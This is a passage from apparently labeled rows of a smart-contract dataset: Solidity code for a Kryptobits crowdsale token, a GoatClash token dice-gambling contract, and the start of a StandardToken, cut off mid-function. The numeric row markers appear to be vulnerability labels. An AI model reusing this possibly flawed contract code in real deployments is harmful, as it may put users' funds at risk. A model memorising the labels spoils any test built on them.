mapping (address => bool) public transferAgents;
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier canTransfer(address sender) {
require(released || transferAgents[sender]);
_;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address to, uint value) public canTransfer(msg.sender) returns (bool success) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint value) public canTransfer(from) returns (bool success) {
return super.transferFrom(from, to, value);
}
}
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address from, uint value) public;
}
contract UpgradeableToken is EIP20Token, Burnable {
using SafeMath for uint;
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint public totalUpgraded = 0;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed from, address to, uint value);
event UpgradeAgentSet(address agent);
constructor(address master) internal {
setUpgradeMaster(master);
}
function upgrade(uint value) public {
UpgradeState state = getUpgradeState();
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);
require(value != 0);
upgradeAgent.upgradeFrom(msg.sender, value);
burnTokens(msg.sender, value);
totalUpgraded = totalUpgraded.add(value);
emit Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) onlyMaster external {
require(canUpgrade());
require(agent != 0x0);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply());
emit UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public view returns(UpgradeState) {
if (!canUpgrade()) return UpgradeState.NotAllowed;
else if (address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function changeUpgradeMaster(address new_master) onlyMaster public {
setUpgradeMaster(new_master);
}
function setUpgradeMaster(address new_master) private {
require(new_master != 0x0);
upgradeMaster = new_master;
}
function canUpgrade() public view returns(bool) {
return true;
}
modifier onlyMaster() {
require(msg.sender == upgradeMaster);
_;
}
}
pragma solidity ^0.4.23;
contract LostAndFoundToken {
function getLostAndFoundMaster() internal view returns (address);
function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public {
require(msg.sender == getLostAndFoundMaster());
token_contract.approve(agent, tokens);
}
}
pragma solidity ^0.4.23;
contract MintableToken is Mintable, Ownable {
using SafeMath for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
constructor(uint initialSupply, address multisig, bool mintable) internal {
require(multisig != address(0));
require(mintable || initialSupply != 0);
if (initialSupply > 0)
mintInternal(multisig, initialSupply);
mintingFinished = !mintable;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
mintInternal(receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
emit MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken, LostAndFoundToken {
string public name = "Kryptobits";
string public symbol = "KBE";
uint8 public decimals;
address public lost_and_found_master;
constructor(uint initial_supply, uint8 token_decimals, address team_multisig, address token_retriever) public
UpgradeableToken(team_multisig) MintableToken(initial_supply, team_multisig, true) {
require(token_retriever != address(0));
decimals = token_decimals;
lost_and_found_master = token_retriever;
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public view returns(bool) {
return released && super.canUpgrade();
}
function burn(uint value) public {
burnTokens(msg.sender, value);
}
function getLostAndFoundMaster() internal view returns(address) {
return lost_and_found_master;
}
}
contract GenericCrowdsale is Haltable {
using SafeMath for uint;
CrowdsaleToken public token;
address public multisigWallet;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
bool public finalized = false;
bool public requireCustomerId = false;
bool public configured = false;
bool public requiredSignedAddress = false;
address public signerAddress;
mapping (address => uint) public investedAmountOf;
mapping (address => uint) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
enum State{Unknown, PendingConfiguration, PreFunding, Funding, Success, Finalized}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event InvestmentPolicyChanged(bool requireCId, bool requireSignedAddress, address signer);
event Whitelisted(address addr, bool status);
event Finalized();
function configurationGenericCrowdsale(address team_multisig, uint start, uint end) internal inState(State.PendingConfiguration) {
setMultisig(team_multisig);
require(start != 0 && end != 0);
require(now < start && start < end);
startsAt = start;
endsAt = end;
configured = true;
}
function() payable public {
buy();
}
function investInternal(address receiver, uint128 customerId) stopInEmergency notFinished private {
if (getState() == State.PreFunding) {
require(earlyParticipantWhitelist[msg.sender]);
}
uint weiAmount;
uint tokenAmount;
(weiAmount, tokenAmount) = calculateTokenAmount(msg.value, receiver);
assert(weiAmount <= msg.value);
require(tokenAmount != 0);
if (investedAmountOf[receiver] == 0) {
investorCount++;
}
updateInvestorFunds(tokenAmount, weiAmount, receiver, customerId);
multisigWallet.transfer(weiAmount);
returnExcedent(msg.value.sub(weiAmount), msg.sender);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner notFinished {
require(receiver != address(0));
uint tokenAmount = fullTokens.mul(10**uint(token.decimals()));
require(tokenAmount != 0);
uint weiAmount = weiPrice.mul(tokenAmount);
updateInvestorFunds(tokenAmount, weiAmount, receiver , 0);
}
function updateInvestorFunds(uint tokenAmount, uint weiAmount, address receiver, uint128 customerId) private {
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
assignTokens(receiver, tokenAmount);
emit Invested(receiver, weiAmount, tokenAmount, customerId);
}
function buyOnBehalfWithSignedAddress(address receiver, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable validCustomerId(customerId) {
bytes32 hash = sha256(receiver);
require(ecrecover(hash, v, r, s) == signerAddress);
investInternal(receiver, customerId);
}
function buyOnBehalfWithCustomerId(address receiver, uint128 customerId) public payable validCustomerId(customerId) unsignedBuyAllowed {
investInternal(receiver, customerId);
}
function buyOnBehalf(address receiver) public payable unsignedBuyAllowed {
require(!requireCustomerId);
investInternal(receiver, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
buyOnBehalfWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
buyOnBehalfWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
buyOnBehalf(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
finalized = true;
emit Finalized();
}
function setRequireCustomerId(bool value) public onlyOwner {
requireCustomerId = value;
emit InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address signer) public onlyOwner {
requiredSignedAddress = value;
signerAddress = signer;
emit InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParticipantWhitelist(address addr, bool status) public onlyOwner notFinished stopInEmergency {
earlyParticipantWhitelist[addr] = status;
emit Whitelisted(addr, status);
}
function setMultisig(address addr) internal {
require(addr != 0);
multisigWallet = addr;
}
function getState() public view returns (State) {
if (finalized) return State.Finalized;
else if (!configured) return State.PendingConfiguration;
else if (now < startsAt) return State.PreFunding;
else if (now <= endsAt && !isCrowdsaleFull()) return State.Funding;
else return State.Success;
}
function assignTokens(address receiver, uint tokenAmount) internal;
function isCrowdsaleFull() internal view returns (bool full);
function returnExcedent(uint excedent, address receiver) internal {
if (excedent > 0) {
receiver.transfer(excedent);
}
}
function calculateTokenAmount(uint weiAmount, address receiver) internal view returns (uint weiAllowed, uint tokenAmount);
modifier inState(State state) {
require(getState() == state);
_;
}
modifier unsignedBuyAllowed() {
require(!requiredSignedAddress);
_;
}
modifier notFinished() {
State current_state = getState();
require(current_state == State.PreFunding || current_state == State.Funding);
_;
}
modifier validCustomerId(uint128 customerId) {
require(customerId != 0);
_;
}
}
pragma solidity ^0.4.23;
contract DeploymentInfo {
uint private deployed_on;
constructor() public {
deployed_on = block.number;
}
function getDeploymentBlock() public view returns (uint) {
return deployed_on;
}
}
pragma solidity ^0.4.23;
contract TokenTranchePricing {
using SafeMath for uint;
struct Tranche {
uint amount;
uint start;
uint end;
uint price;
}
uint private constant amount_offset = 0;
uint private constant start_offset = 1;
uint private constant end_offset = 2;
uint private constant price_offset = 3;
uint private constant tranche_size = 4;
Tranche[] public tranches;
function getTranchesLength() public view returns (uint) {
return tranches.length;
}
function configurationTokenTranchePricing(uint[] init_tranches) internal {
require(init_tranches.length % tranche_size == 0);
require(init_tranches[amount_offset] > 0);
uint input_tranches_length = init_tranches.length.div(tranche_size);
Tranche memory last_tranche;
for (uint i = 0; i < input_tranches_length; i++) {
uint tranche_offset = i.mul(tranche_size);
uint amount = init_tranches[tranche_offset.add(amount_offset)];
uint start = init_tranches[tranche_offset.add(start_offset)];
uint end = init_tranches[tranche_offset.add(end_offset)];
uint price = init_tranches[tranche_offset.add(price_offset)];
require(start < end && now < end);
require(i == 0 || (end >= last_tranche.end && amount > last_tranche.amount) ||
(end > last_tranche.end && amount >= last_tranche.amount));
last_tranche = Tranche(amount, start, end, price);
tranches.push(last_tranche);
}
}
function getCurrentTranche(uint tokensSold) private view returns (Tranche storage) {
for (uint i = 0; i < tranches.length; i++) {
if (tranches[i].start <= now && now < tranches[i].end && tokensSold < tranches[i].amount) {
return tranches[i];
}
}
revert();
}
function getCurrentPrice(uint tokensSold) public view returns (uint result) {
return getCurrentTranche(tokensSold).price;
}
}
contract Crowdsale is GenericCrowdsale, LostAndFoundToken, DeploymentInfo, TokenTranchePricing {
uint public sellable_tokens;
uint public initial_tokens;
uint public milieurs_per_eth;
uint public minimum_buy_value;
address public price_agent;
function configurationCrowdsale(address team_multisig, uint start, uint end,
address token_retriever, uint[] init_tranches, uint multisig_supply, uint crowdsale_supply,
uint8 token_decimals) public onlyOwner {
initial_tokens = multisig_supply;
minimum_buy_value = uint(100).mul(10 ** uint(token_decimals));
token = new CrowdsaleToken(multisig_supply, token_decimals, team_multisig, token_retriever);
token.setMintAgent(address(this), true);
token.setReleaseAgent(address(this));
token.setTransferAgent(address(this), true);
token.setTransferAgent(team_multisig, true);
token.mint(address(this), crowdsale_supply);
token.setMintAgent(address(this), false);
sellable_tokens = crowdsale_supply;
configurationGenericCrowdsale(team_multisig, start, end);
configurationTokenTranchePricing(init_tranches);
}
function assignTokens(address receiver, uint tokenAmount) internal {
token.transfer(receiver, tokenAmount);
}
function calculateTokenAmount(uint weiAmount, address receiver) internal view returns (uint weiAllowed, uint tokenAmount) {
uint tokensPerEth = getCurrentPrice(tokensSold).mul(milieurs_per_eth).div(1000);
uint maxWeiAllowed = sellable_tokens.sub(tokensSold).mul(1 ether).div(tokensPerEth);
weiAllowed = maxWeiAllowed.min256(weiAmount);
if (weiAmount < maxWeiAllowed) {
tokenAmount = tokensPerEth.mul(weiAmount).div(1 ether);
}
else {
tokenAmount = sellable_tokens.sub(tokensSold);
}
require(token.balanceOf(receiver).add(tokenAmount) >= minimum_buy_value);
}
function isCrowdsaleFull() internal view returns (bool full) {
return tokensSold >= sellable_tokens;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
uint sold = tokensSold.add(initial_tokens);
uint toShare = sold.mul(18).div(82);
token.setMintAgent(address(this), true);
token.mint(multisigWallet, toShare);
token.setMintAgent(address(this), false);
token.releaseTokenTransfer();
token.burn(token.balanceOf(address(this)));
super.finalize();
}
function getLostAndFoundMaster() internal view returns (address) {
return owner;
}
function setStartingTime(uint startingTime) public onlyOwner inState(State.PreFunding) {
require(now < startingTime && startingTime < endsAt);
startsAt = startingTime;
}
function setEndingTime(uint endingTime) public onlyOwner notFinished {
require(now < endingTime && startsAt < endingTime);
endsAt = endingTime;
}
function updateEursPerEth (uint milieurs_amount) public notFinished {
require(milieurs_amount >= 100);
require(msg.sender == price_agent);
milieurs_per_eth = milieurs_amount;
}
function updatePriceAgent(address new_price_agent) public onlyOwner notFinished {
price_agent = new_price_agent;
}
function setMinimumBuyValue(uint new_minimum) public onlyOwner notFinished {
minimum_buy_value = new_minimum;
}
} | 1 | 5,317 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract GoatClash {
ERC20 private _token;
function token() public view returns(ERC20) {
return _token;
}
function setToken(address erc20Token) external onlyOwner {
_token = ERC20(erc20Token);
}
uint constant HOUSE_EDGE_PERCENT = 2;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 1;
uint constant MIN_JACKPOT_BET = 5000 * (10 ** 18);
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 100 * (10 ** 18);
uint constant MIN_BET = 1 * (10 ** 18);
uint constant MAX_AMOUNT = 1000000 * (10 ** 18);
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= _token.balanceOf(address(this)), "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= _token.balanceOf(address(this)), "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= _token.balanceOf(address(this)), "Cannot withdraw more than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= _token.balanceOf(address(this)), "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
sendFunds(owner, _token.balanceOf(address(this)), _token.balanceOf(address(this)));
selfdestruct(owner);
}
function placeBet(uint amount, uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
require (amount <= _token.allowance(msg.sender, address(this)), "Bet amount not inserted.");
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= _token.balanceOf(address(this)), "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash, "Blockhash does not match.");
require (bet.amount <= _token.allowance(bet.gambler, address(this)), "Bet amount not inserted.");
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
if (diceWin + jackpotWin == 0) {
deductFunds(gambler, amount);
}
else {
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin - amount, diceWin);
}
}
function cancelBet(uint commit) external onlyCroupier {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (_token.transfer(beneficiary, amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function deductFunds(address player, uint amount) private {
if (_token.transferFrom(player, address(this), amount)) {
emit Payment(address(this), amount);
} else {
emit FailedPayment(address(this), amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
} | 0 | 606 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token, SafeMath {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value)
returns (bool success)
{
